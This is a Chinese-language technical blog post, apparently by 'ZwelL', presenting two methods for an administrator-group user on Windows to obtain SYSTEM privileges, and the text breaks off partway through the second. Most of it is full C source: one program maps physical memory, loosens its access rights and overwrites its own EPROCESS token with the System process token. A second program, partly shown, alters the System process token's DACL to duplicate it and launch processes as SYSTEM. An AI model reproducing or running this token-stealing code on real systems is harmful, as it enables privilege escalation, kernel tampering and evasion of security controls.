• 管理员组获取系统权限的完美解决方案


    关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.
    小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".
    这里,我先踩在前辈的肩上列一些可行的方法:

    1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"
    2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建
    3. 远线程插入,插入线程到系统进程,创建一新进程

    这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
    4. 将程序做成服务,带参数运行新进程

    做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.

    当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

    这里,我拿出两种新的方案来实现该功能:

    第一种方法.我们先来看一下系统是如何进行权限检测的,
    举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:
    OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
                                        |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查

    也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。
    思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.
    而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)

    实现代码:
    ===========================================================================================================
    #include<windows.h>
    #include<stdio.h>
    #include<Accctrl.h>
    #include<Aclapi.h>

    #define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it
    #define NT_SUCCESS(Status)            ((NTSTATUS)(Status) >= 0)
    #define STATUS_INFO_LENGTH_MISMATCH        ((NTSTATUS)0xC0000004L)
    #define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

    typedef LONG  NTSTATUS;
    typedef struct _IO_STATUS_BLOCK
    {
        NTSTATUS    Status;
        ULONG        Information;
    } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

    typedef struct _UNICODE_STRING
    {
        USHORT        Length;
        USHORT        MaximumLength;
        PWSTR        Buffer;
    } UNICODE_STRING, *PUNICODE_STRING;

    #define OBJ_INHERIT             0x00000002L
    #define OBJ_PERMANENT           0x00000010L
    #define OBJ_EXCLUSIVE           0x00000020L
    #define OBJ_CASE_INSENSITIVE    0x00000040L
    #define OBJ_OPENIF              0x00000080L
    #define OBJ_OPENLINK            0x00000100L
    #define OBJ_KERNEL_HANDLE       0x00000200L
    #define OBJ_VALID_ATTRIBUTES    0x000003F2L

    typedef struct _OBJECT_ATTRIBUTES
    {
        ULONG        Length;
        HANDLE        RootDirectory;
        PUNICODE_STRING ObjectName;
        ULONG        Attributes;
        PVOID        SecurityDescriptor;
        PVOID        SecurityQualityOfService;
    } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;  

    typedef struct _SYSTEM_MODULE_INFORMATION
    {
        ULONG Reserved[2];
        PVOID Base;
        ULONG Size;
        ULONG Flags;
        USHORT Index;
        USHORT Unknown;
        USHORT LoadCount;
        USHORT ModuleNameOffset;
        CHAR ImageName[256];
    } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

    typedef enum _SYSTEM_INFORMATION_CLASS
    {
        SystemBasicInformation,
        SystemProcessorInformation,
        SystemPerformanceInformation,
        SystemTimeOfDayInformation,
        SystemNotImplemented1,
        SystemProcessesAndThreadsInformation,
        SystemCallCounts,
        SystemConfigurationInformation,
        SystemProcessorTimes,
        SystemGlobalFlag,
        SystemNotImplemented2,
        SystemModuleInformation,
        SystemLockInformation,
        SystemNotImplemented3,
        SystemNotImplemented4,
        SystemNotImplemented5,
        SystemHandleInformation,
        SystemObjectInformation,
        SystemPagefileInformation,
        SystemInstructionEmulationCounts,
        SystemInvalidInfoClass1,
        SystemCacheInformation,
        SystemPoolTagInformation,
        SystemProcessorStatistics,
        SystemDpcInformation,
        SystemNotImplemented6,
        SystemLoadImage,
        SystemUnloadImage,
        SystemTimeAdjustment,
        SystemNotImplemented7,
        SystemNotImplemented8,
        SystemNotImplemented9,
        SystemCrashDumpInformation,
        SystemExceptionInformation,
        SystemCrashDumpStateInformation,
        SystemKernelDebuggerInformation,
        SystemContextSwitchInformation,
        SystemRegistryQuotaInformation,
        SystemLoadAndCallImage,
        SystemPrioritySeparation,
        SystemNotImplemented10,
        SystemNotImplemented11,
        SystemInvalidInfoClass2,
        SystemInvalidInfoClass3,
        SystemTimeZoneInformation,
        SystemLookasideInformation,
        SystemSetTimeSlipEvent,
        SystemCreateSession,
        SystemDeleteSession,
        SystemInvalidInfoClass4,
        SystemRangeStartInformation,
        SystemVerifierInformation,
        SystemAddVerifier,
        SystemSessionProcessesInformation
    } SYSTEM_INFORMATION_CLASS;

    typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
    (
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    IN OUT PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength OPTIONAL
    );

    typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
        OUT PHANDLE  SectionHandle,
        IN  ACCESS_MASK  DesiredAccess,
        IN  POBJECT_ATTRIBUTES  ObjectAttributes
        );

    typedef VOID (CALLBACK* RTLINITUNICODESTRING)(                
        IN OUT PUNICODE_STRING  DestinationString,
        IN PCWSTR  SourceString
        );

    typedef struct _SYSTEM_HANDLE_INFORMATION
    {
        ULONG            ProcessId;
        UCHAR            ObjectTypeNumber;
        UCHAR            Flags;
        USHORT            Handle;
        PVOID            Object;
        ACCESS_MASK        GrantedAccess;
    } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

    RTLINITUNICODESTRING        RtlInitUnicodeString;
    ZWOPENSECTION            ZwOpenSection;
    ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL;
    HMODULE    g_hNtDLL = NULL;
    PVOID     g_pMapPhysicalMemory = NULL;
    HANDLE     g_hMPM     = NULL;

    BOOL InitNTDLL()
    {
        g_hNtDLL = LoadLibrary( "ntdll.dll" );
        if ( !g_hNtDLL )
        {
            return FALSE;
        }

        RtlInitUnicodeString =
            (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

        ZwOpenSection =
            (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

        ZwQuerySystemInformation =
            ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

        ZwQuerySystemInformation =
            ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

        return TRUE;
    }

    VOID CloseNTDLL()
    {
        if(g_hNtDLL != NULL)
        {
            FreeLibrary(g_hNtDLL);
        }
    }

    VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
    {

        PACL pDacl=NULL;
        PACL pNewDacl=NULL;
        PSECURITY_DESCRIPTOR pSD=NULL;
        DWORD dwRes;
        EXPLICIT_ACCESS ea;

        if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
            NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
        {
            goto CleanUp;
        }

        ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
        ea.grfAccessPermissions = SECTION_MAP_WRITE;
        ea.grfAccessMode = GRANT_ACCESS;
        ea.grfInheritance= NO_INHERITANCE;
        ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
        ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
        ea.Trustee.ptstrName = "CURRENT_USER";


        if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
        {
            goto CleanUp;
        }

        if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
        {
            goto CleanUp;
        }

    CleanUp:

        if(pSD)
            LocalFree(pSD);
        if(pNewDacl)
            LocalFree(pNewDacl);
    }

    HANDLE OpenPhysicalMemory()
    {
        NTSTATUS        status;
        UNICODE_STRING        physmemString;
        OBJECT_ATTRIBUTES    attributes;

        RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );

        attributes.Length            = sizeof(OBJECT_ATTRIBUTES);
        attributes.RootDirectory        = NULL;
        attributes.ObjectName            = &physmemString;
        attributes.Attributes            = 0;
        attributes.SecurityDescriptor        = NULL;
        attributes.SecurityQualityOfService    = NULL;

        status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

        if(status == STATUS_ACCESS_DENIED){
            status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
            SetPhyscialMemorySectionCanBeWrited(g_hMPM);
            CloseHandle(g_hMPM);
            status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
        }

        if( !NT_SUCCESS( status ))
        {
            return NULL;
        }

        g_pMapPhysicalMemory = MapViewOfFile(
            g_hMPM,
            4,
            0,
            0x30000,
            0x1000);
        if( g_pMapPhysicalMemory == NULL )
        {
            return NULL;
        }

        return g_hMPM;
    }

    PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
    {
        ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
        if(VAddr>=0x80000000 && VAddr<0xa0000000)
        {
            PAddr=VAddr-0x80000000;
            return (PVOID)PAddr;
        }
        PGDE=BaseAddress[VAddr>>22];
        if ((PGDE&1)!=0)
        {
            ULONG tmp=PGDE&0x00000080;
            if (tmp!=0)
            {
                PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
            }
            else
            {
                PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);
                PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
                if ((PTE&1)!=0)
                {
                    PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
                    UnmapViewOfFile((PVOID)PGDE);
                }
                else return 0;
            }
        }
        else return 0;

        return (PVOID)PAddr;
    }



    ULONG GetData(PVOID addr)
    {
        ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
        PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
        if (tmp==0)
            return 0;
        ULONG ret=tmp[(phys & 0xFFF)>>2];
        UnmapViewOfFile(tmp);
        return ret;
    }

    BOOL SetData(PVOID addr,ULONG data)
    {
        ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
        PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
        if (tmp==0)
            return FALSE;
        tmp[(phys & 0xFFF)>>2]=data;
        UnmapViewOfFile(tmp);
        return TRUE;
    }

    DWORD MyGetModuleBaseAddress( char * pModuleName)
    {
        PSYSTEM_MODULE_INFORMATION    pSysModule;    

        ULONG            uReturn;
        ULONG            uCount;
        PCHAR            pBuffer = NULL;
        PCHAR            pName    = NULL;
        NTSTATUS        status;
        UINT            ui;
        CHAR            szBuffer[10];
        DWORD            pBaseAddress;

        status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );
        pBuffer = ( PCHAR )malloc(uReturn);
        if ( pBuffer )
        {
            status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );
            if( NT_SUCCESS(status) )
            {
                uCount = ( ULONG )*( ( ULONG * )pBuffer );
                pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );
                for ( ui = 0; ui < uCount; ui++ )
                {
                    pName = strstr( pSysModule->ImageName, pModuleName );
                    if( pName )
                    {
                        pBaseAddress = (DWORD)pSysModule->Base;
                        free( pBuffer );
                        return pBaseAddress;
                    }
                    pSysModule ++;
                }
            }

            free( pBuffer );
        }

        return NULL;
    }

    DWORD GetEprocessFromId (DWORD PID)
    {
        NTSTATUS                     status;
        PVOID                        buf   = NULL;
        ULONG                        size  = 1;
        ULONG                        NumOfHandle = 0;
        ULONG                        i;
        PSYSTEM_HANDLE_INFORMATION    h_info  = NULL;
        DWORD    n;
        DWORD    retvalue=0;

        buf=malloc(0x1000);
        if(buf == NULL)
        {
            printf("malloc wrong\n");
            return FALSE;
        }
        status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );
        if(STATUS_INFO_LENGTH_MISMATCH == status)
        {
            free(buf);
            buf=malloc(n);
            if(buf == NULL)
            {
                printf("malloc wrong\n");
                return FALSE;
            }
            status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);
        }
        else
        {
            printf("ZwQuerySystemInformation wrong\n");
            return FALSE;
        }

        NumOfHandle = *(ULONG*)buf;

        h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

        for(i = 0; i<NumOfHandle ;i++)
        {
                if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5  ))
                {
                    retvalue=(DWORD)(h_info[i].Object);
                    break;
                }
        }

        if ( buf != NULL )
        {
            free( buf );
        }
        return retvalue;
    }

    void usage(char *exe)
    {
        printf("Usage : %s [exefile|-h]\n");
    }

    int main(int argc, char **argv)
    {
        HMODULE hDll;
        DWORD tmp;
        DWORD SystemEprocess;
        DWORD SystemEprocessTokenValue;
        DWORD CurrentEprocess;
        DWORD CurrentEprocessTokenValue;

        printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");
        printf("\tMade by ZwelL.\n");
        printf("\tZwell@sohu.com.\n");
        printf("\thttp://www.donews.net/zwell.\n");
        printf("\tType -h to get more information\n", argv[0]);

        if( argc>=2)
        {
            if(
                ( (strcmp(argv[1],"-h")==0) && (argc==2))
                || (argc>2)
              )
            {
                usage(argv[0]);
                exit(-1);
            }
        }

        if (!InitNTDLL())
        {
            printf("InitNTDLL wrong\n");
            exit(-1);
        }

        if (OpenPhysicalMemory()==0)
        {
            printf("OpenPhysicalMemory wrong\n");
            exit(-1);
        }

        hDll = LoadLibrary("ntoskrnl.exe");
        tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");
        tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;
        SystemEprocess=GetData((PVOID)tmp);
        tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address
        SystemEprocessTokenValue=GetData((PVOID)tmp);   //SYSTEM's Token
        printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);

        OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
        CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());
        CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

        printf("Current EPROCESS : %08x\n", CurrentEprocess);
        printf("Current Process Token : %08x\nPress ENTER to continue...\n",
            CurrentEprocessTokenValue);
        //getchar();
        SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);
        printf("Current Process Token : %08x\n",
            GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));
        printf("Press ENTER to create process...\n");
        //getchar();

        if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))
            == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))  
            )
            // It is so surprised that SYSTEM's Token always in changing.
            // So before create new process, we should ensure the TOKEN is all right
        {
            ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);
        }
        UnmapViewOfFile(g_pMapPhysicalMemory);
        CloseHandle(g_hMPM);
        CloseNTDLL();

        return 0;
    }



    在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

    =========================================================================================================
    第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。
    这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。
    用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".

    下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:

    #include <windows.h>
    #include <stdio.h>
    #include <Tlhelp32.h>
    #include <AccCtrl.h>
    #include <Aclapi.h>
    #include <wtsapi32.h>

    #pragma comment(lib, "wtsapi32")

    HANDLE OpenSystemProcess()
    {
        HANDLE hSnapshot = NULL;
        HANDLE hProc     = NULL;

        __try
        {
            // Get a snapshot of the processes in the system
            hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
            if (hSnapshot == NULL)
            {
                printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");
                __leave;
            }

            PROCESSENTRY32 pe32;
            pe32.dwSize = sizeof(pe32);

            // Find the "System" process
            BOOL fProcess = Process32First(hSnapshot, &pe32);
            while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))
                fProcess = Process32Next(hSnapshot, &pe32);
            if (!fProcess)
            {
                printf("OpenSystemProcess Not Found SYSTEM");
                __leave;    // Didn't find "System" process
            }

            // Open the process with PROCESS_QUERY_INFORMATION access
            hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
                pe32.th32ProcessID);
            if (hProc == NULL)
            {
                printf("OpenSystemProcess OpenProcess Failed");
                __leave;
            }
        }
        __finally
        {
            // Cleanup the snapshot
           if (hSnapshot != NULL)
               CloseHandle(hSnapshot);
           return(hProc);
        }
    }

    BOOL EnablePrivilege (PCSTR name)
    {
        HANDLE hToken;
        BOOL rv;
        
        TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
        LookupPrivilegeValue (
            0,
            name,
            &priv.Privileges[0].Luid
        );
        
        OpenProcessToken(
            GetCurrentProcess (),
            TOKEN_ADJUST_PRIVILEGES,
            &hToken
        );
        
        AdjustTokenPrivileges (
            hToken,
            FALSE,
            &priv,
            sizeof priv,
            0,
            0
        );
        rv = GetLastError () == ERROR_SUCCESS;
        
        CloseHandle (hToken);
        return rv;
    }

    #define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

    BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
    {
        PACL pAcl        = NULL;
        PACL pNewAcl     = NULL;
        PACL pSacl       = NULL;
        PSID pSidOwner   = NULL;
        PSID pSidPrimary = NULL;
        BOOL fSuccess    = TRUE;

        PSECURITY_DESCRIPTOR pSD = NULL;

        __try
        {
            // Find the length of the security object for the kernel object
            DWORD dwSDLength;
            if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,
                &dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
            {
                printf("ModifySecurity GetKernelObjectSecurity Size Failed");
                __leave;
            }

            // Allocate a buffer of that length
            pSD = LocalAlloc(LPTR, dwSDLength);
            if (pSD == NULL)
            {
                printf("ModifySecurity LocalAlloc Failed");
                __leave;
            }

            // Retrieve the kernel object
            if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,
                dwSDLength, &dwSDLength))
            {
                printf("ModifySecurity GetKernelObjectSecurity Failed");
                __leave;
            }

            // Get a pointer to the DACL of the SD
            BOOL fDaclPresent;
            BOOL fDaclDefaulted;
            if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,
                &fDaclDefaulted))
            {
                printf("ModifySecurity GetSecurityDescriptorDacl Failed");
                __leave;
            }

            // Get the current user's name
            TCHAR szName[1024];
            DWORD dwLen = chDIMOF(szName);
            if (!GetUserName(szName, &dwLen))
            {
                printf("ModifySecurity GetUserName Failed");
                __leave;
            }

            // Build an EXPLICIT_ACCESS structure for the ace we wish to add.
            EXPLICIT_ACCESS ea;
            BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);
            ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

            // We are allocating a new ACL with a new ace inserted.  The new
            // ACL must be LocalFree'd
            if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))
            {
                printf("ModifySecurity SetEntriesInAcl Failed");
                pNewAcl = NULL;
                __leave;
            }

            // Find the buffer sizes we would need to make our SD absolute
            pAcl               = NULL;
            dwSDLength         = 0;
            DWORD dwAclSize    = 0;
            DWORD dwSaclSize   = 0;
            DWORD dwSidOwnLen  = 0;
            DWORD dwSidPrimLen = 0;
            PSECURITY_DESCRIPTOR pAbsSD = NULL;
            if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
                &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)
                || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
            {
                printf("ModifySecurity MakeAbsoluteSD Size Failed");
                __leave;
            }

            // Allocate the buffers
            pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);
            pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);
            pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);
            pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);
            pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);
            if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))
            {
                printf("ModifySecurity Invalid SID Found");
                __leave;
            }

            // And actually make our SD absolute
            if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
                &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))
            {
                printf("ModifySecurity MakeAbsoluteSD Failed");
                __leave;
            }

            // Now set the security descriptor DACL
            if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,
                fDaclDefaulted))
            {
                printf("ModifySecurity SetSecurityDescriptorDacl Failed");
                __leave;
            }

            // And set the security for the object
            if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))
            {
                printf("ModifySecurity SetKernelObjectSecurity Failed");
                __leave;
            }

            fSuccess = TRUE;

        }
        __finally
        {
            // Cleanup
            if (pNewAcl == NULL)
                LocalFree(pNewAcl);

            if (pSD == NULL)
                LocalFree(pSD);

            if (pAcl == NULL)
                LocalFree(pAcl);

            if (pSacl == NULL)
                LocalFree(pSacl);

            if (pSidOwner == NULL)
                LocalFree(pSidOwner);

            if (pSidPrimary == NULL)
                LocalFree(pSidPrimary);

            if(!fSuccess)
            {
                printf("ModifySecurity exception caught in __finally");
            }

            return(fSuccess);
        }
    }

    HANDLE GetLSAToken()
    {
        HANDLE hProc  = NULL;
        HANDLE hToken = NULL;
        BOOL bSuccess = FALSE;
        __try
        {
            // Enable the SE_DEBUG_NAME privilege in our process token
            if (!EnablePrivilege(SE_DEBUG_NAME))
            {
                printf("GetLSAToken EnablePrivilege Failed");
                __leave;
            }

            // Retrieve a handle to the "System" process
            hProc = OpenSystemProcess();
            if(hProc == NULL)
            {
                printf("GetLSAToken OpenSystemProcess Failed");
                __leave;
            }

            // Open the process token with READ_CONTROL and WRITE_DAC access.  We
            // will use this access to modify the security of the token so that we
            // retrieve it again with a more complete set of rights.
            BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,
                &hToken);
            if(FALSE == fResult)  
            {
                printf("GetLSAToken OpenProcessToken Failed");
                __leave;
            }

            // Add an ace for the current user for the token.  This ace will add
            // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.
            if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY
                | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))
            {
                printf("GetLSAToken ModifySecurity Failed");
                __leave;
            }
            

            // Reopen the process token now that we have added the rights to
            // query the token, duplicate it, and assign it.
            fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE
                | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);
            if (FALSE == fResult)  
            {
                printf("GetLSAToken OpenProcessToken Failed");
                __leave;
            }
            bSuccess = TRUE;
        }
        __finally
        {
            // Close the System process handle
            if (hProc != NULL)    CloseHandle(hProc);
            if(bSuccess)
                return hToken;
            else
            {
                ::CloseHandle(hToken);
                return NULL;
            }
        }
    }

    #define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | \
            DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | \
            DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | \
            DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)

    #define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES |  \
        WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | \
            WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | \
            WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | \
            WINSTA_READSCREEN | \
            STANDARD_RIGHTS_REQUIRED)

    #define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)

    BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);

    BOOL AddAceToDesktop(HDESK hdesk, PSID psid);

    BOOL GetLogonSID(HANDLE hToken, PSID *ppsid)
    {
        PWTS_PROCESS_INFO pProcessInfo = NULL;
        DWORD             ProcessCount = 0;
        BOOL                ret=FALSE;

        if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
        {
            // dump each process description
            for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
            {

                if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )
                {
                    //*ppsid = pProcessInfo[CurrentProcess].pUserSid;
                    DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);
                    *ppsid = (PSID) HeapAlloc(GetProcessHeap(),
                                HEAP_ZERO_MEMORY, dwLength);
                    if (*ppsid == NULL)
                        break;
                    if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))
                    {
                        HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
                        break;
                    }
                    ret=TRUE;
                    break;
                }
            }

            WTSFreeMemory(pProcessInfo);
        }

        return ret;
    }

    BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid)
    {
       BOOL bSuccess = FALSE;
       DWORD dwIndex;
       DWORD dwLength = 0;
       PTOKEN_GROUPS ptg = NULL;

    // Verify the parameter passed in is not NULL.
        if (NULL == ppsid)
            goto Cleanup;

    // Get required buffer size and allocate the TOKEN_GROUPS buffer.

       if (!GetTokenInformation(
             hToken,         // handle to the access token
             TokenGroups,    // get information about the token's groups
             (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer
             0,              // size of buffer
             &dwLength       // receives required buffer size
          ))
       {
          if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
             goto Cleanup;

          ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),
             HEAP_ZERO_MEMORY, dwLength);

          if (ptg == NULL)
             goto Cleanup;
       }


    // Get the token group information from the access token.

       if (!GetTokenInformation(
             hToken,         // handle to the access token
             TokenGroups,    // get information about the token's groups
             (LPVOID) ptg,   // pointer to TOKEN_GROUPS buffer
             dwLength,       // size of buffer
             &dwLength       // receives required buffer size
             ))
       {
          goto Cleanup;
       }

    // Loop through the groups to find the logon SID.

       for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)
          if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)
                 ==  SE_GROUP_LOGON_ID)
          {
          // Found the logon SID; make a copy of it.

             dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);
             *ppsid = (PSID) HeapAlloc(GetProcessHeap(),
                         HEAP_ZERO_MEMORY, dwLength);
             if (*ppsid == NULL)
                 goto Cleanup;
             if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))
             {
                 HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
                 goto Cleanup;
             }
             break;
          }

       bSuccess = TRUE;

    Cleanup:

    // Free the buffer for the token groups.

       if (ptg != NULL)
          HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);

       return bSuccess;
    }




    VOID FreeLogonSID (PSID *ppsid)
    {
        HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);
    }


    BOOL StartInteractiveClientProcess (
        LPTSTR lpszUsername,    // client to log on
        LPTSTR lpszDomain,      // domain of client's account
        LPTSTR lpszPassword,    // client's password
        LPTSTR lpCommandLine,    // command line to execute
        HANDLE Token = NULL
    )
    {
       HANDLE      hToken;
       HDESK       hdesk = NULL;
       HWINSTA     hwinsta = NULL, hwinstaSave = NULL;
       PROCESS_INFORMATION pi;
       PSID pSid = NULL;
       STARTUPINFO si;
       BOOL bResult = FALSE;

    // Log the client on to the local computer.

       if(Token!=NULL)
       {
